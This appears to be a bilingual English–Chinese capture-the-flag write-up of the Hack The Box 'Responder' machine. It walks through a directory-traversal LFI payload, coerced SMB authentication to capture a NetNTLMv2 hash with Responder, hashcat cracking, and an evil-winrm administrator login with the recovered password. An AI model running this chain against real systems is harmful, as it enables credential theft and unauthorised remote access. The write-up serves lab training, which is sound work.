HTB - Responder

OS: Windows | Difficulty: Very Easy

As usual, I started by enumerating the target’s open ports and services. 操作系统：Windows | 难度：非常简单 像往常一样，我首先枚举了目标机器的开放端口和服务。

nmap -p- --min-rate 1000 -sV <IP>

The scan revealed: 80/tcp open http 5985/tcp open wsman 扫描结果显示： 80/tcp 开放 http 5985/tcp 开放 wsman

Port 80 indicated a web server, while port 5985 indicated WinRM (Windows Remote Management). While exploring the website, I noticed that the language selection changed the URL to something similar to: /index.php?page=french.html 80 端口表明存在 Web 服务器，而 5985 端口则表明存在 WinRM（Windows 远程管理）。在浏览网站时，我注意到语言选择会将 URL 更改为类似 /index.php?page=french.html 的形式。

The page parameter immediately stood out because it appeared to control which file the application loaded. This led me to test whether the parameter was vulnerable to Local File Inclusion (LFI). I did not know so I had to search google and AI but a common way of testing for LFI is attempting to access a known file on the target system using directory traversal: ../../../../../../../../windows/system32/drivers/etc/hosts page 参数立刻引起了我的注意，因为它似乎控制着应用程序加载哪个文件。这促使我测试该参数是否存在本地文件包含（LFI）漏洞。我当时不太确定，于是搜索了 Google 和 AI，发现测试 LFI 的一种常见方法是使用目录遍历尝试访问目标系统上的已知文件：../../../../../../../../windows/system32/drivers/etc/hosts

The resulting request looked like: http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts 生成的请求如下：http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

The contents of the Windows hosts file were returned, confirming that the application was vulnerable to LFI. Hence, whenever I see a parameter that appears to accept a filename or path, such as: ?page=, ?file=, ?path=, ?include=, ?template=, because there is always a chance where there is no proper sanitization done on the parameter, which we will be able to pass malicious input and therefore view the internal system files. Windows hosts 文件的内容被成功返回，证实了该应用程序存在 LFI 漏洞。因此，每当我看到似乎接受文件名或路径的参数时（例如 ?page=、?file=、?path=、?include=、?template=），我都会格外留意，因为这些参数总是有可能未经过适当的过滤，从而允许我们传入恶意输入并查看内部系统文件。

⸻

I already had two important pieces of information: The target was a Windows machine. We had an LFI vulnerability that allowed us to control what resource the server attempted to access. I mean the name of the machine kind of gave it away, but I probably wouldn’t have thought of using Responder if I hadn’t learned about it through the PJPT certification course material. 我已经掌握了两个重要信息：目标是一台 Windows 机器；我们拥有一个 LFI 漏洞，允许我们控制服务器尝试访问的资源。虽然机器名称本身就暗示了这一点，但如果我不是通过 PJPT 认证课程学习过，我可能根本不会想到使用 Responder。

⸻

The following is the section of the note I personally made while studying for PJPT exam which is very relevant to this machine: 以下是我在准备 PJPT 考试时做的笔记，与这台机器非常相关：

Windows Assumes Every Remote Share Requires Authentication Windows operating systems are designed around seamless single sign-on (SSO). When you type \\<IP> in the File Explorer on our Desktop / Laptop or in this challenge within the URL -> http://unika.htb?page=\\<ip of attacker machine>/somefile: Windows treats that IP address as a remote Windows File Server. Windows assumes, “To show this user their network shares, I need to introduce who is currently logged in.” File Explorer / victim website automatically initiates an SMB session on port 445 and sends an authentication request in the background—before it even checks whether the remote folder exists or allows anonymous access. Windows 默认所有远程共享都需要身份验证 Windows 操作系统围绕无缝单点登录（SSO）设计。当你在桌面/笔记本电脑的文件资源管理器中输入 \\<IP>，或者在本挑战中在 URL 中输入 http://unika.htb?page=\\<攻击者机器IP>/somefile 时，Windows 会将该 IP 地址视为远程 Windows 文件服务器。Windows 会认为：“为了向该用户展示其网络共享，我需要先介绍当前登录的用户是谁。”文件资源管理器或受害者网站会自动在 445 端口发起 SMB 会话，并在后台发送身份验证请求——甚至在检查远程文件夹是否存在或是否允许匿名访问之前就会这样做。

File Explorer Can’t Use Kerberos on IP Addresses In an Active Directory domain, Kerberos is the default authentication protocol. However, Kerberos requires a domain name (FQDN) to look up Service Principal Names (SPNs) in Active Directory (e.g., \\fileserver.marvel.local). Because we typed an IP address \\192.168.76.133/somefile instead of a domain name: Windows cannot issue a Kerberos ticket for an raw IP. Windows automatically falls back to NTLM authentication. 文件资源管理器无法在 IP 地址上使用 Kerberos 在 Active Directory 域中，Kerberos 是默认的身份验证协议。然而，Kerberos 需要域名（FQDN）来查找 Active Directory 中的服务主体名称（SPN）（例如 \\fileserver.marvel.local）。因为我们输入的是 IP 地址 \\192.168.76.133/somefile 而不是域名，Windows 无法为原始 IP 颁发 Kerberos 票据，因此会自动回退到 NTLM 身份验证。

⸻

Responder Pretended to Be an SMB Server Your Kali machine wasn’t passively sniffing traffic—Responder was running a fake SMB server listening on port 445. When the victim machine reached out to your IP asking to connect, Responder acted like a compliant SMB server: Victim: “Hi 192.168.76.133, I want to access your shares as MARVEL\fcastle.” Responder: “Sure! Prove it’s really you. Here is a random challenge code (5fd0a679742e7eba). Encrypt this code with your password hash and send it back.” Victim: Encrypts the challenge using fcastle’s password hash and sends the response back to Kali. Responder took that encrypted response, logged it to your terminal as a NetNTLMv2 hash, and dropped the connection. Responder 伪装成 SMB 服务器 你的 Kali 机器并不是在被动嗅探流量——Responder 正在运行一个伪造的 SMB 服务器，监听 445 端口。当受害者机器连接你的 IP 时，Responder 会表现得像一个合规的 SMB 服务器： 受害者：“嗨 192.168.76.133，我想以 MARVEL\fcastle 的身份访问你的共享。” Responder：“没问题！证明你是本人。这是一个随机挑战码 (5fd0a679742e7eba)。用你的密码哈希加密这个代码并发送回来。” 受害者：使用 fcastle 的密码哈希加密挑战码，并将响应发回给 Kali。 Responder 接收到该加密响应，将其记录为 NetNTLMv2 哈希显示在终端中，然后断开连接。

⸻

Copy the NTLMv2 Hash into a text file and use hashcat to try cracking the password because there is a chance where a weak password has been used. There are other alternatives such as John the Ripper. 将 NTLMv2 哈希复制到文本文件中，并使用 hashcat 尝试破解密码，因为对方可能使用了弱密码。也可以使用其他替代工具，例如 John the Ripper。

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

-m refers to mode and 5600 corresponds to the NTLMv2. For other modes we can discover them via hashcat --help. hashcat will then crack the password if there is a match (you can use --show option to show the previously cracked result without having to crack again if you lost the result in the terminal). But I think the actual password for this machine was badminton. -m 代表模式，5600 对应 NTLMv2。其他模式可以通过 hashcat --help 查看。如果匹配成功，hashcat 就会破解出密码（如果你在终端中丢失了结果，可以使用 --show 选项查看之前破解的结果）。但我认为这台机器的实际密码是 badminton。

⸻

WinRM The original Nmap scan also showed: 5985/tcp open wsman. I learned that this is the default HTTP port commonly used by Windows Remote Management (WinRM). Once we recovered valid credentials, we could use them to authenticate to WinRM. I did not know the command so I had to use AI to search up for this part. A common tool for interacting with WinRM from Linux is Evil-WinRM: WinRM 最初的 Nmap 扫描还显示：5985/tcp 开放 wsman。我了解到这是 Windows 远程管理（WinRM）常用的默认 HTTP 端口。一旦我们获得了有效的凭据，就可以使用它们通过 WinRM 进行身份验证。我不知道具体命令，所以不得不使用 AI 搜索。从 Linux 与 WinRM 交互的常用工具是 Evil-WinRM：

evil-winrm -i <IP> -u administrator -p <password>

In this case: evil-winrm -i <IP> -u administrator -p badminton 在本例中：evil-winrm -i <IP> -u administrator -p badminton

This provided a remote shell on the Windows machine and finally retrieve the flag. 这为我提供了 Windows 机器的远程 Shell，并最终获取了 flag。

⸻

Looking back, the complete chain was: Nmap ↓ Discover HTTP + WinRM ↓ Enumerate website ↓ Discover name-based virtual host ↓ Discover page parameter ↓ Identify LFI ↓ Understand Windows SMB authentication ↓ Use LFI to trigger SMB connection ↓ Responder captures NetNTLMv2 ↓ Hashcat cracks the password ↓ Recovered Administrator credentials ↓ Connect through WinRM 回顾整个攻击链： Nmap ↓ 发现 HTTP + WinRM ↓ 枚举网站 ↓ 发现基于名称的虚拟主机 ↓ 发现 page 参数 ↓ 识别 LFI ↓ 理解 Windows SMB 身份验证 ↓ 使用 LFI 触发 SMB 连接 ↓ Responder 捕获 NetNTLMv2 ↓ Hashcat 破解密码 ↓ 恢复管理员凭据 ↓ 通过 WinRM 连接

⸻

Key Takeaways

• Don’t stop at the obvious vulnerability: Finding LFI doesn’t necessarily mean the end goal is simply reading /etc/passwd or the Windows hosts file. Ask: What else can I make the vulnerable application access? Understanding the underlying system can reveal completely different attack paths.
• Pay attention to the operating system: Knowing that the target is Windows changed the direction of the attack. Windows introduced concepts such as: SMB, NTLM, NetNTLMv2, WinRM, Active Directory. Because the same vulnerability on a Linux target could potentially lead to a very different attack chain.
• Open ports tell you about possible future attack paths. 关键要点
• 不要止步于明显的漏洞： 发现 LFI 并不意味着终极目标仅仅是读取 /etc/passwd 或 Windows hosts 文件。问问自己：我还能让这个有漏洞的应用程序访问什么？理解底层系统可以揭示完全不同的攻击路径。
• 关注操作系统： 知道目标是 Windows 改变了攻击方向。Windows 引入了诸如 SMB、NTLM、NetNTLMv2、WinRM、Active Directory 等概念。因为同样的漏洞在 Linux 目标上可能会导致完全不同的攻击链。
• 开放端口会告诉你未来可能的攻击路径。